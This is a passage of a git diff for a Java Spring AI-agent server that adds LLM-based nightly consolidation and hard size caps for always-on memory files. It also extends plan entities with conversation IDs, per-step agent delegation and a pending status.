type even when the global + * character budget would otherwise admit more from a single type. + * 0 = unlimited. + */ + private int systemBlockMaxEntriesPerType = 40; + + /** + * Enable the nightly consolidation pass over always-on structured memory + * (user/feedback): an LLM merges near-duplicate and stale entries so the + * files shrink on disk rather than only being trimmed at injection time. + */ + private boolean structuredConsolidationEnabled = true; + + /** + * Minimum entry count before a structured type is consolidated. Below this + * the file is already small, so the LLM call is skipped. + */ + private int structuredConsolidationMinEntries = 8; + + /** + * Cron expression for the structured-memory consolidation maintenance task. + * Independent of {@code dreamingCron} so the two passes can be scheduled + * (and gated) separately. Default: 3:30 AM daily, after nightly emergence. + */ + private String structuredConsolidationCron = "0 30 3 * * ?"; + + /** + * Maximum number of owner buckets (shared + personal) consolidated per agent + * per run. Bounds LLM cost on agents with many per-owner memory buckets; + * remaining owners are picked up on subsequent runs. 0 = unlimited. + */ + private int structuredConsolidationMaxOwnersPerRun = 50; + + /** + * Deterministic character ceiling for PROFILE.md, the always-on user-profile + * file. The summarization pass rewrites it and is asked to stay concise; this + * is the hard backstop that truncates at a section boundary if it overruns. + * 0 = unlimited. + */ + private int profileMaxChars = 4000; + + /** + * Deterministic character ceiling for MEMORY.md, the always-on long-term + * memory file rewritten by summarization and emergence. 0 = unlimited. + */ + private int memoryMdMaxChars = 8000; + // ==================== Dream v2 Feature Flags ==================== // --- Phase 1: Lifecycle mediator wiring --- diff --git a/mateclaw-server/src/main/java/vip/mate/memory/controller/MemoryController.java b/mateclaw-server/src/main/java/vip/mate/memory/controller/MemoryController.java index 6f63553c..14add3c8 100644 --- a/mateclaw-server/src/main/java/vip/mate/memory/controller/MemoryController.java +++ b/mateclaw-server/src/main/java/vip/mate/memory/controller/MemoryController.java @@ -37,6 +37,30 @@ public class MemoryController { private final MemoryProperties memoryProperties; private final DreamingScheduler dreamingScheduler; private final WorkspaceFileService workspaceFileService; + private final StructuredMemoryConsolidationService structuredConsolidationService; + + @Operation(summary = "手动触发 always-on 结构化记忆整合(user/feedback,合并去重过时条目)") + @PostMapping("/{agentId}/structured-consolidation") + @RequireWorkspaceRole("member") + public R> triggerStructuredConsolidation(@PathVariable Long agentId) { + try { + StructuredMemoryConsolidationService.ConsolidationStats s = + structuredConsolidationService.consolidateAgent(agentId); + Map out = new LinkedHashMap<>(); + out.put("ownersConsolidated", s.ownersConsolidated); + out.put("updated", s.updated); + out.put("skippedSmall", s.skippedSmall); + out.put("skippedOverCap", s.skippedOverCap); + out.put("failed", s.failed); + out.put("entriesBefore", s.entriesBefore); + out.put("entriesAfter", s.entriesAfter); + return R.ok(out); + } catch (Exception e) { + log.error("[Memory] Manual structured consolidation failed for agent={}: {}", + agentId, e.getMessage(), e); + return R.fail("结构化记忆整合失败: " + e.getMessage()); + } + } @Operation(summary = "手动触发记忆整合(daily notes → MEMORY.md,NIGHTLY 模式)") @PostMapping("/{agentId}/emergence") diff --git a/mateclaw-server/src/main/java/vip/mate/memory/fact/projection/FactProjectionScheduler.java b/mateclaw-server/src/main/java/vip/mate/memory/fact/projection/FactProjectionScheduler.java index 5e0e533e..c0df78c6 100644 --- a/mateclaw-server/src/main/java/vip/mate/memory/fact/projection/FactProjectionScheduler.java +++ b/mateclaw-server/src/main/java/vip/mate/memory/fact/projection/FactProjectionScheduler.java @@ -2,6 +2,7 @@ package vip.mate.memory.fact.projection; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; +import org.springframework.scheduling.annotation.Async; import org.springframework.scheduling.annotation.Scheduled; import org.springframework.stereotype.Component; import vip.mate.agent.AgentService; @@ -14,6 +15,9 @@ import java.util.List; * Scheduled full rebuild of the fact projection for all active agents. * Cron expression configured via mate.memory.fact.projection-rebuild-cron. * Only runs when projection-enabled=true. + *

    + * {@code @Async} keeps the scheduler-thread pool free — the actual DB + * work runs on the virtual-thread async executor. * * @author MateClaw Team */ @@ -26,6 +30,7 @@ public class FactProjectionScheduler { private final FactProjectionBuilder projectionBuilder; private final MemoryProperties properties; + @Async @Scheduled(cron = "${mate.memory.fact.projection-rebuild-cron:0 */30 * * * ?}") public void rebuildAll() { if (!properties.getFact().isProjectionEnabled()) { diff --git a/mateclaw-server/src/main/java/vip/mate/memory/scheduler/StructuredMemoryMaintenanceScheduler.java b/mateclaw-server/src/main/java/vip/mate/memory/scheduler/StructuredMemoryMaintenanceScheduler.java new file mode 100644 index 00000000..59a7e962 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/memory/scheduler/StructuredMemoryMaintenanceScheduler.java @@ -0,0 +1,72 @@ +package vip.mate.memory.scheduler; + +import lombok.Getter; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; +import vip.mate.agent.AgentService; +import vip.mate.agent.model.AgentEntity; +import vip.mate.memory.MemoryProperties; +import vip.mate.memory.service.StructuredMemoryConsolidationService; +import vip.mate.memory.service.StructuredMemoryConsolidationService.ConsolidationStats; + +import java.time.LocalDateTime; + +/** + * Scheduled maintenance for always-on structured memory. + *

    + * Runs the consolidation pass that merges duplicate / stale user & feedback + * entries so the always-on block shrinks at the storage level. Kept separate from + * {@link DreamingScheduler} so it has its own cron and enable flag — disabling + * nightly dreaming must not silently disable structured consolidation, and vice + * versa. + * + * @author MateClaw Team + */ +@Slf4j +@Component +@RequiredArgsConstructor +public class StructuredMemoryMaintenanceScheduler { + + private final AgentService agentService; + private final StructuredMemoryConsolidationService consolidationService; + private final MemoryProperties properties; + + /** Last run time, for the status API. */ + @Getter + private volatile LocalDateTime lastRunTime; + + @Scheduled(cron = "${mate.memory.structured-consolidation-cron:0 30 3 * * ?}") + public void runConsolidation() { + if (!properties.isStructuredConsolidationEnabled()) { + log.debug("[StructuredConsolidation] Disabled, skipping"); + return; + } + + log.info("[StructuredConsolidation] Starting maintenance cycle"); + ConsolidationStats total = new ConsolidationStats(); + int agents = 0; + + for (AgentEntity agent : agentService.listAgents()) { + if (!Boolean.TRUE.equals(agent.getEnabled())) { + continue; + } + agents++; + try { + ConsolidationStats agentStats = consolidationService.consolidateAgent(agent.getId()); + total.add(agentStats); + } catch (Exception e) { + log.warn("[StructuredConsolidation] Failed for agent={} ({}): {}", + agent.getId(), agent.getName(), e.getMessage()); + } + } + + lastRunTime = LocalDateTime.now(); + log.info("[StructuredConsolidation] Cycle done: agents={}, buckets={}, updated={}, " + + "skipped(small)={}, skipped(cap)={}, failed={}, entries {}->{}", + agents, total.ownersConsolidated, total.updated, + total.skippedSmall, total.skippedOverCap, total.failed, + total.entriesBefore, total.entriesAfter); + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/memory/service/AlwaysOnFileBudget.java b/mateclaw-server/src/main/java/vip/mate/memory/service/AlwaysOnFileBudget.java new file mode 100644 index 00000000..d2b4cebe --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/memory/service/AlwaysOnFileBudget.java @@ -0,0 +1,42 @@ +package vip.mate.memory.service; + +/** + * Deterministic character-budget backstop for always-on memory files + * (PROFILE.md / MEMORY.md) that are injected into every system prompt. + *

    + * These files are rewritten wholesale by the summarization and emergence passes, + * which are instructed to stay concise but have no hard ceiling — so on their own + * they can grow the per-turn context without bound. This enforces a deterministic + * cap: when content exceeds the budget it is truncated at a Markdown section + * boundary (keeping the head, where the core/principle sections live) and a marker + * is appended. The LLM rewrite remains the primary, content-aware compressor; this + * is the last-resort guarantee that the file stays bounded. + * + * @author MateClaw Team + */ +final class AlwaysOnFileBudget { + + /** Appended when content is truncated; user-facing note kept in the file. */ + static final String MARKER = "\n\n> ⚠️ 后续内容已截断以控制注入体积。"; + + private AlwaysOnFileBudget() { + } + + /** + * Truncate {@code content} to at most {@code maxChars} characters, cutting at + * the last {@code "## "} section boundary that fits so a section is never split + * mid-way. Returns the input unchanged when it already fits or when budgeting + * is disabled ({@code maxChars <= 0}). + */ + static String enforce(String content, int maxChars) { + if (content == null || maxChars <= 0 || content.length() <= maxChars) { + return content; + } + int limit = Math.max(0, maxChars - MARKER.length()); + // Prefer cutting at a section boundary within the budget; "\n## " keeps the + // leading section header intact. Fall back to a hard cut when none fits. + int boundary = content.lastIndexOf("\n## ", limit); + String head = boundary > 0 ? content.substring(0, boundary) : content.substring(0, limit); + return head.stripTrailing() + MARKER; + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/memory/service/MemoryEmergenceService.java b/mateclaw-server/src/main/java/vip/mate/memory/service/MemoryEmergenceService.java index bfa545e8..5fc66b65 100644 --- a/mateclaw-server/src/main/java/vip/mate/memory/service/MemoryEmergenceService.java +++ b/mateclaw-server/src/main/java/vip/mate/memory/service/MemoryEmergenceService.java @@ -159,6 +159,9 @@ public class MemoryEmergenceService { return buildSkippedReport(agentId, mode, topic, triggerSource, startedAt, "empty memory_content"); } + // Deterministic backstop so the always-on MEMORY.md stays bounded even + // if the LLM rewrite ignores the "keep concise" instruction. + newContent = AlwaysOnFileBudget.enforce(newContent, properties.getMemoryMdMaxChars()); workspaceFileService.saveFile(agentId, "MEMORY.md", newContent); eventPublisher.publishEvent(new MemoryWriteEvent(agentId, "MEMORY.md", "consolidate", newContent)); String llmReason = root.path("reason").asText(""); diff --git a/mateclaw-server/src/main/java/vip/mate/memory/service/MemorySummarizationService.java b/mateclaw-server/src/main/java/vip/mate/memory/service/MemorySummarizationService.java index 962737d3..0f37ca04 100644 --- a/mateclaw-server/src/main/java/vip/mate/memory/service/MemorySummarizationService.java +++ b/mateclaw-server/src/main/java/vip/mate/memory/service/MemorySummarizationService.java @@ -328,6 +328,7 @@ public class MemorySummarizationService { * (TEAM) file when there is no real owner (cron / system). */ private void saveMemory(Long agentId, String filename, String content, String ownerKey) { + content = capAlwaysOnFile(filename, content); if (isPersonal(ownerKey)) { workspaceFileService.saveMemoryFile(agentId, filename, content, ownerKey); } else { @@ -335,6 +336,21 @@ public class MemorySummarizationService { } } + /** + * Enforce the deterministic size ceiling on the always-on profile/memory files + * so they cannot grow the per-turn system prompt without bound. Daily notes and + * other files (only recalled on demand) are left untouched. + */ + private String capAlwaysOnFile(String filename, String content) { + if ("PROFILE.md".equals(filename)) { + return AlwaysOnFileBudget.enforce(content, properties.getProfileMaxChars()); + } + if ("MEMORY.md".equals(filename)) { + return AlwaysOnFileBudget.enforce(content, properties.getMemoryMdMaxChars()); + } + return content; + } + /** A real, isolatable owner — i.e. not null/blank and not the system bucket. */ private boolean isPersonal(String ownerKey) { return ownerKey != null && !ownerKey.isBlank() diff --git a/mateclaw-server/src/main/java/vip/mate/memory/service/StructuredMemoryConsolidationService.java b/mateclaw-server/src/main/java/vip/mate/memory/service/StructuredMemoryConsolidationService.java new file mode 100644 index 00000000..fdcf775d --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/memory/service/StructuredMemoryConsolidationService.java @@ -0,0 +1,184 @@ +package vip.mate.memory.service; + +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.ai.chat.messages.SystemMessage; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.model.ChatResponse; +import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.ai.converter.BeanOutputConverter; +import org.springframework.stereotype.Service; +import vip.mate.agent.AgentGraphBuilder; +import vip.mate.agent.prompt.PromptLoader; +import vip.mate.llm.model.ModelConfigEntity; +import vip.mate.llm.service.ModelConfigService; +import vip.mate.memory.MemoryProperties; + +import java.time.LocalDate; +import java.util.LinkedHashMap; +import java.util.List; + +/** + * Nightly consolidation of always-on structured memory (user / feedback). + *

    + * These typed files are injected into every system prompt and only ever grow: + * nudge and post-conversation summarization append entries, key-exact dedup lets + * paraphrased keys through, and no pass ever merges them. Over time the always-on + * block inflates per-turn context. This service periodically rewrites each + * always-on type file into a smaller, deduplicated, non-stale set via the LLM, so + * accumulated memory shrinks at the storage level rather than only being trimmed + * at injection time. + *

    + * Consolidation runs per bucket: the shared (TEAM/GLOBAL) file plus every personal + * owner's file, because most growth accumulates in per-owner buckets that the + * always-on prefetch injects each turn. The number of buckets processed per agent + * per run is capped to bound LLM cost. + * + * @author MateClaw Team + */ +@Slf4j +@Service +@RequiredArgsConstructor +public class StructuredMemoryConsolidationService { + + private final StructuredMemoryService structuredMemoryService; + private final ModelConfigService modelConfigService; + private final AgentGraphBuilder agentGraphBuilder; + private final MemoryProperties properties; + + /** Typed LLM output for a single consolidation call. */ + public record ConsolidationResult(boolean shouldUpdate, List entries, String reason) { + public record Entry(String key, String content) {} + } + + /** Aggregate counters for one consolidation run, for observability. */ + public static class ConsolidationStats { + public int ownersConsolidated; // buckets that passed the gate and called the LLM + public int updated; // buckets actually rewritten + public int skippedSmall; // buckets below the min-entries gate + public int skippedOverCap; // buckets deferred to a later run by the per-run cap + public int failed; // buckets whose LLM/parse/write raised + public int entriesBefore; + public int entriesAfter; + + public void add(ConsolidationStats o) { + ownersConsolidated += o.ownersConsolidated; + updated += o.updated; + skippedSmall += o.skippedSmall; + skippedOverCap += o.skippedOverCap; + failed += o.failed; + entriesBefore += o.entriesBefore; + entriesAfter += o.entriesAfter; + } + } + + /** Consolidate every always-on structured bucket (shared + personal) for an agent. */ + public ConsolidationStats consolidateAgent(Long agentId) { + ConsolidationStats stats = new ConsolidationStats(); + if (!properties.isStructuredConsolidationEnabled()) { + return stats; + } + int cap = properties.getStructuredConsolidationMaxOwnersPerRun(); + int remaining = cap > 0 ? cap : Integer.MAX_VALUE; + + for (String type : structuredMemoryService.alwaysOnTypes()) { + for (String ownerKey : structuredMemoryService.consolidatableOwnerKeys(agentId, type)) { + String content = structuredMemoryService.readTypeRaw(agentId, type, ownerKey); + int count = structuredMemoryService.countEntries(content); + if (count < properties.getStructuredConsolidationMinEntries()) { + stats.skippedSmall++; + continue; + } + if (remaining <= 0) { + stats.skippedOverCap++; + continue; + } + remaining--; + stats.ownersConsolidated++; + stats.entriesBefore += count; + try { + int after = consolidateBucket(agentId, type, ownerKey, content, count); + if (after >= 0) { + stats.updated++; + stats.entriesAfter += after; + } else { + stats.entriesAfter += count; // no write — bucket unchanged + } + } catch (Exception e) { + stats.failed++; + stats.entriesAfter += count; + log.warn("[StructuredConsolidation] agent={} type={} owner={} failed: {}", + agentId, type, ownerKey, e.getMessage()); + } + } + } + return stats; + } + + /** + * Consolidate one bucket. Returns the new entry count when the file was + * rewritten, or {@code -1} when nothing was written (LLM declined, produced + * unparseable output, or would not have reduced the entry count). + */ + private int consolidateBucket(Long agentId, String type, String ownerKey, String content, int count) { + BeanOutputConverter converter = new BeanOutputConverter<>(ConsolidationResult.class); + String systemPrompt = PromptLoader.loadPrompt("memory/consolidate-structured-system"); + String userPrompt = PromptLoader.loadPrompt("memory/consolidate-structured-user") + .replace("{type}", type) + .replace("{today}", LocalDate.now().toString()) + .replace("{count}", String.valueOf(count)) + .replace("{content}", content); + + ChatModel chatModel = buildChatModel(); + ChatResponse resp = chatModel.call(new Prompt(List.of( + new SystemMessage(systemPrompt), + new UserMessage(userPrompt), + new UserMessage(converter.getFormat())))); + String text = resp.getResult().getOutput().getText(); + + ConsolidationResult result; + try { + result = converter.convert(text); + } catch (Exception e) { + log.warn("[StructuredConsolidation] Unparseable LLM output agent={} type={} owner={}: {}", + agentId, type, ownerKey, e.getMessage()); + return -1; + } + if (result == null || !result.shouldUpdate() + || result.entries() == null || result.entries().isEmpty()) { + return -1; + } + + LinkedHashMap consolidated = new LinkedHashMap<>(); + for (ConsolidationResult.Entry e : result.entries()) { + if (e == null) continue; + String key = e.key() == null ? "" : e.key().trim(); + String value = e.content() == null ? "" : e.content().trim(); + if (!key.isEmpty() && !value.isEmpty()) { + consolidated.put(key, value); + } + } + if (consolidated.isEmpty()) { + return -1; + } + + // Safety invariant: consolidation must never grow the entry count. A model + // that hallucinates extra entries would otherwise make the bloat worse. + if (consolidated.size() > count) { + log.debug("[StructuredConsolidation] agent={} type={} owner={} produced {} > {} entries; skipping write", + agentId, type, ownerKey, consolidated.size(), count); + return -1; + } + + structuredMemoryService.replaceTypeEntries(agentId, type, ownerKey, consolidated, "consolidation"); + log.info("[StructuredConsolidation] agent={} type={} owner={} consolidated {} -> {} entries", + agentId, type, ownerKey, count, consolidated.size()); + return consolidated.size(); + } + + private ChatModel buildChatModel() { + ModelConfigEntity defaultModel = modelConfigService.getDefaultModel(); + return agentGraphBuilder.buildRuntimeChatModel(defaultModel); + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/memory/service/StructuredMemoryService.java b/mateclaw-server/src/main/java/vip/mate/memory/service/StructuredMemoryService.java index 0edfc717..a5f10954 100644 --- a/mateclaw-server/src/main/java/vip/mate/memory/service/StructuredMemoryService.java +++ b/mateclaw-server/src/main/java/vip/mate/memory/service/StructuredMemoryService.java @@ -105,6 +105,7 @@ public class StructuredMemoryService { private final WorkspaceFileService workspaceFileService; private final ApplicationEventPublisher eventPublisher; + private final vip.mate.memory.MemoryProperties properties; /** Per-file lock to prevent concurrent read-modify-write on the same file */ private final ConcurrentHashMap fileLocks = new ConcurrentHashMap<>(); @@ -240,35 +241,133 @@ public class StructuredMemoryService { return buildMemoryBlock(agentId, null); } + /** Reserve left for structural overhead (headers, blank lines) when truncating a single oversized entry. */ + private static final int BLOCK_STRUCTURE_RESERVE = 120; + /** Owner-scoped variant of {@link #buildMemoryBlock(Long)}. */ public String buildMemoryBlock(Long agentId, String ownerKey) { - StringBuilder sb = new StringBuilder(); - boolean hasContent = false; + int maxChars = Math.max(0, properties.getSystemBlockMaxChars()); + int maxPerType = Math.max(0, properties.getSystemBlockMaxEntriesPerType()); + // 1. Collect every always-on entry with its update date and a global + // insertion index (file order, types in SYSTEM_PROMPT_TYPES order). + // Truncate any single entry larger than the whole budget so it can + // never blow the cap on its own. + int contentCap = maxChars > 0 ? Math.max(1, maxChars - BLOCK_STRUCTURE_RESERVE) : -1; + List all = new ArrayList<>(); + int globalIndex = 0; for (String type : SYSTEM_PROMPT_TYPES) { String fileContent = readFileSafe(agentId, toFilename(type), ownerKey); if (fileContent.isBlank()) continue; + for (Map.Entry entry : parseSections(fileContent).entrySet()) { + String content = extractContentOnly(entry.getValue()); + if (content.isBlank()) continue; + if (contentCap >= 0 && content.length() > contentCap) { + content = content.substring(0, contentCap) + "…"; + } + all.add(new BlockEntry(type, entry.getKey(), content, + extractUpdated(entry.getValue()), globalIndex++)); + } + } + if (all.isEmpty()) return ""; - Map sections = parseSections(fileContent); - if (sections.isEmpty()) continue; + // 2. Enforce the always-on budget against the TRUE rendered length + // (headers, blank lines, and the omission note all counted), keeping + // the most-recently-updated entries so accumulated memory cannot grow + // the per-turn context without bound. + Set kept = selectWithinBudget(all, maxChars, maxPerType); + int omitted = all.size() - kept.size(); + return renderBlock(all, kept, omitted); + } + + /** A candidate entry for the always-on block, with budget metadata. */ + private record BlockEntry(String type, String key, String content, + String updated, int index) {} + + /** + * Render the always-on block: survivors grouped by type, in original file + * order (stable ordering keeps the system prefix cacheable), followed by an + * omission note when entries were dropped. + */ + private String renderBlock(List all, Set kept, int omitted) { + StringBuilder sb = new StringBuilder(); + boolean hasContent = false; + for (String type : SYSTEM_PROMPT_TYPES) { + List typeEntries = all.stream() + .filter(e -> e.type().equals(type) && kept.contains(e)) + .sorted(Comparator.comparingInt(BlockEntry::index)) + .toList(); + if (typeEntries.isEmpty()) continue; if (!hasContent) { sb.append("## Structured Memory\n\n"); hasContent = true; } - sb.append("### ").append(typeDisplayName(type)).append("\n"); - for (Map.Entry entry : sections.entrySet()) { - // Extract just the content line (skip metadata) - String content = extractContentOnly(entry.getValue()); - sb.append("- **").append(entry.getKey()).append("**: ").append(content).append("\n"); + for (BlockEntry e : typeEntries) { + sb.append("- **").append(e.key()).append("**: ").append(e.content()).append("\n"); } sb.append("\n"); } - + if (omitted > 0) { + sb.append("> ").append(omitted) + .append(" older memory entries omitted to bound context size.\n"); + } return sb.toString().trim(); } + /** + * Select the entries that fit the always-on injection budget, preferring the + * most-recently-updated ones. Applies a per-type entry cap first, then a + * global character budget measured against the actual rendered block (not + * just bullet lengths). Newer entries (later update date, then later + * insertion order) win; ties and missing dates fall back to insertion order. + */ + private Set selectWithinBudget(List all, int maxChars, int maxPerType) { + // Keep-priority: most recent update first, then most recently inserted. + Comparator newestFirst = Comparator + .comparing(BlockEntry::updated, Comparator.nullsFirst(Comparator.naturalOrder())) + .thenComparingInt(BlockEntry::index) + .reversed(); + + // Per-type cap: drop the oldest entries beyond the cap. + List survivors = new ArrayList<>(all); + if (maxPerType > 0) { + Set overflow = new HashSet<>(); + for (String type : SYSTEM_PROMPT_TYPES) { + List ofType = survivors.stream() + .filter(e -> e.type().equals(type)) + .sorted(newestFirst) + .toList(); + if (ofType.size() > maxPerType) { + overflow.addAll(ofType.subList(maxPerType, ofType.size())); + } + } + survivors.removeAll(overflow); + } + + if (maxChars <= 0) { + return new HashSet<>(survivors); + } + + // Global character budget: admit newest entries while the fully rendered + // block stays within budget. Measuring the real render (including the + // omission note) makes the cap exact; once an entry no longer fits, every + // remaining entry is older and is dropped too. + List ordered = survivors.stream().sorted(newestFirst).toList(); + Set picked = new HashSet<>(); + for (BlockEntry e : ordered) { + Set trial = new HashSet<>(picked); + trial.add(e); + int omittedIfStop = all.size() - trial.size(); + if (renderBlock(all, trial, Math.max(0, omittedIfStop)).length() > maxChars) { + break; + } + picked.add(e); + } + return picked; + } + /** * Build a query-conditioned memory block for per-turn prefetch injection. * Scores {@link #PREFETCH_TYPES} entries against the user's question and returns @@ -400,6 +499,97 @@ public class StructuredMemoryService { return "structured/" + type + ".md"; } + // ==================== Consolidation support ==================== + + /** The always-on structured types injected into every system prompt. */ + public List alwaysOnTypes() { + return SYSTEM_PROMPT_TYPES; + } + + /** Read the raw Markdown of a structured type file (owner-scoped when personal). */ + public String readTypeRaw(Long agentId, String type, String ownerKey) { + validateType(type); + return readFileSafe(agentId, toFilename(type), ownerKey); + } + + /** Count the {@code ## key} entries in a structured file's raw Markdown. */ + public int countEntries(String rawContent) { + return (rawContent == null || rawContent.isBlank()) ? 0 : parseSections(rawContent).size(); + } + + /** + * Distinct buckets that hold entries for a structured type and are eligible + * for consolidation: the shared bucket (returned as {@code null}) plus each + * personal owner that has its own row. Lets the nightly maintenance pass + * consolidate per-owner memory, where most growth actually accumulates. + */ + public List consolidatableOwnerKeys(Long agentId, String type) { + validateType(type); + String filename = toFilename(type); + List owners = new ArrayList<>(); + owners.add(null); // shared (TEAM/GLOBAL) bucket + for (WorkspaceFileEntity f : workspaceFileService.listFiles(agentId)) { + if (filename.equals(f.getFilename()) && isPersonal(f.getOwnerKey()) + && !owners.contains(f.getOwnerKey())) { + owners.add(f.getOwnerKey()); + } + } + return owners; + } + + /** + * Atomically replace all entries of a structured type with a consolidated set, + * re-serialized in the canonical {@code ## key / content / > Source | Updated} + * format. Used by the nightly consolidation pass to shrink always-on memory. + * Insertion order of {@code entries} is preserved. + *

    + * Update dates are preserved per key: an entry whose key already existed keeps + * its original {@code Updated} date, and a newly-merged key inherits the newest + * date among the existing entries. This keeps recency/LRU semantics intact — + * consolidation must not make a batch of old facts look freshly written. + */ + public void replaceTypeEntries(Long agentId, String type, String ownerKey, + LinkedHashMap entries, String source) { + validateType(type); + String filename = toFilename(type); + String lockKey = agentId + ":" + (ownerKey == null ? "" : ownerKey) + ":" + filename; + ReentrantLock lock = fileLocks.computeIfAbsent(lockKey, k -> new ReentrantLock()); + lock.lock(); + try { + // Derive prior update dates so consolidation preserves provenance. + Map keyToDate = new HashMap<>(); + String newestDate = ""; + for (Map.Entry s : parseSections(readFileSafe(agentId, filename, ownerKey)).entrySet()) { + String d = extractUpdated(s.getValue()); + if (!d.isEmpty()) { + keyToDate.put(s.getKey(), d); + if (d.compareTo(newestDate) > 0) newestDate = d; + } + } + String fallbackDate = newestDate.isEmpty() ? LocalDate.now().toString() : newestDate; + String src = source != null ? source : "consolidation"; + + StringBuilder sb = new StringBuilder(); + for (Map.Entry e : entries.entrySet()) { + if (e.getKey() == null || e.getKey().isBlank() + || e.getValue() == null || e.getValue().isBlank()) { + continue; + } + String key = e.getKey().trim(); + String date = keyToDate.getOrDefault(key, fallbackDate); + if (sb.length() > 0) sb.append("\n\n"); + sb.append("## ").append(key).append("\n") + .append(e.getValue().trim()) + .append("\n> Source: ").append(src).append(" | Updated: ").append(date); + } + saveStructured(agentId, filename, sb.toString(), ownerKey); + log.info("[StructuredMemory] Replaced {} entries in '{}' for agent={} owner={} (source={})", + entries.size(), filename, agentId, ownerKey, src); + } finally { + lock.unlock(); + } + } + private void validateType(String type) { if (!VALID_TYPES.contains(type)) { throw new IllegalArgumentException("Invalid memory type: " + type diff --git a/mateclaw-server/src/main/java/vip/mate/planning/controller/PlanningController.java b/mateclaw-server/src/main/java/vip/mate/planning/controller/PlanningController.java index aa921905..fc73da4f 100644 --- a/mateclaw-server/src/main/java/vip/mate/planning/controller/PlanningController.java +++ b/mateclaw-server/src/main/java/vip/mate/planning/controller/PlanningController.java @@ -23,10 +23,14 @@ public class PlanningController { private final PlanningService planningService; - @Operation(summary = "获取 Agent 的计划列表") + @Operation(summary = "获取计划列表(带 agentId 则按员工,否则跨员工取最近 N 条)") @GetMapping - public R> listByAgent(@RequestParam String agentId) { - return R.ok(planningService.listPlansByAgent(agentId)); + public R> list(@RequestParam(required = false) String agentId, + @RequestParam(required = false, defaultValue = "100") int limit) { + if (agentId != null && !agentId.isBlank()) { + return R.ok(planningService.listPlansByAgent(agentId)); + } + return R.ok(planningService.listRecentPlans(limit)); } @Operation(summary = "获取计划详情(含步骤)") diff --git a/mateclaw-server/src/main/java/vip/mate/planning/model/PlanEntity.java b/mateclaw-server/src/main/java/vip/mate/planning/model/PlanEntity.java index f9f56ef0..f02f0f29 100644 --- a/mateclaw-server/src/main/java/vip/mate/planning/model/PlanEntity.java +++ b/mateclaw-server/src/main/java/vip/mate/planning/model/PlanEntity.java @@ -21,6 +21,9 @@ public class PlanEntity { /** 关联的 Agent ID(字符串) */ private String agentId; + /** 产生该计划的对话/运行 ID(可空,历史行为 null)。用于把计划绑定到具体运行、支持跨员工/协同分组。 */ + private String conversationId; + /** 任务目标 */ private String goal; diff --git a/mateclaw-server/src/main/java/vip/mate/planning/model/SubPlanEntity.java b/mateclaw-server/src/main/java/vip/mate/planning/model/SubPlanEntity.java index 3b0ab79c..1775637e 100644 --- a/mateclaw-server/src/main/java/vip/mate/planning/model/SubPlanEntity.java +++ b/mateclaw-server/src/main/java/vip/mate/planning/model/SubPlanEntity.java @@ -29,6 +29,14 @@ public class SubPlanEntity { /** 步骤状态:pending / running / completed / failed */ private String status; + /** + * Delegated agent id for this step. When non-null, the executor routes this + * step to that specialist agent instead of the parent (plan) agent. Null = + * run with the parent agent (original behavior). The frontend resolves the + * display name from this id via the agent store. + */ + private Long assignedAgentId; + /** 步骤执行结果 */ @TableField(value = "result", updateStrategy = FieldStrategy.ALWAYS) private String result; diff --git a/mateclaw-server/src/main/java/vip/mate/planning/service/PlanningService.java b/mateclaw-server/src/main/java/vip/mate/planning/service/PlanningService.java index 80488171..9ef9ed6f 100644 --- a/mateclaw-server/src/main/java/vip/mate/planning/service/PlanningService.java +++ b/mateclaw-server/src/main/java/vip/mate/planning/service/PlanningService.java @@ -34,10 +34,36 @@ public class PlanningService { */ @Transactional public PlanEntity createPlan(String agentId, String goal, List steps) { + return createPlan(agentId, null, goal, steps); + } + + /** + * 创建执行计划,并绑定到产生它的对话/运行。 + * conversationId 可空(历史调用方),便于把计划归到某次运行,支撑跨员工/协同看板。 + */ + @Transactional + public PlanEntity createPlan(String agentId, String conversationId, String goal, List steps) { + return createPlan(agentId, conversationId, goal, steps, null); + } + + /** + * 创建执行计划,并为每个步骤可选地指派专职子 agent。 + * stepAgentIds 与 steps 等长同序(按位置对应);某位为 null 表示该步骤由父 agent 执行。 + * stepAgentIds 整体可空(无委派的历史调用方)。 + */ + @Transactional + public PlanEntity createPlan(String agentId, String conversationId, String goal, + List steps, List stepAgentIds) { PlanEntity plan = new PlanEntity(); plan.setAgentId(agentId); + plan.setConversationId(conversationId); plan.setGoal(goal); - plan.setStatus("running"); + // A freshly generated plan is queued, not yet running: it sits in the + // board's "pending" column until its first step actually starts + // (updateSubPlanStatus promotes the plan to "running" then). This makes + // the board's pending column meaningful for queued / approval-gated + // plans instead of being perpetually empty. + plan.setStatus("pending"); plan.setTotalSteps(steps.size()); plan.setCompletedSteps(0); planMapper.insert(plan); @@ -48,6 +74,11 @@ public class PlanningService { sub.setStepIndex(i); sub.setDescription(steps.get(i)); sub.setStatus("pending"); + // Per-step delegation: only set when an assignment exists for this + // index; otherwise the step runs with the parent agent. + if (stepAgentIds != null && i < stepAgentIds.size()) { + sub.setAssignedAgentId(stepAgentIds.get(i)); + } subPlanMapper.insert(sub); }); @@ -64,6 +95,13 @@ public class PlanningService { sub.setStatus(status); if ("running".equals(status)) { sub.setStartTime(LocalDateTime.now()); + // Promote the parent plan out of the "pending" (queued) column + // the moment its first step actually starts executing. + PlanEntity plan = planMapper.selectById(planId); + if (plan != null && "pending".equals(plan.getStatus())) { + plan.setStatus("running"); + planMapper.updateById(plan); + } } subPlanMapper.updateById(sub); } @@ -111,6 +149,17 @@ public class PlanningService { .orderByDesc(PlanEntity::getCreateTime)); } + /** + * 跨员工获取最近的计划列表(用于团队/泳道看板)。 + * 按创建时间倒序,limit 兜底防止全表拉取。 + */ + public List listRecentPlans(int limit) { + int capped = limit <= 0 ? 100 : Math.min(limit, 500); + return planMapper.selectList(new LambdaQueryWrapper() + .orderByDesc(PlanEntity::getCreateTime) + .last("LIMIT " + capped)); + } + /** * 获取计划详情(含子计划) */ @@ -135,6 +184,17 @@ public class PlanningService { 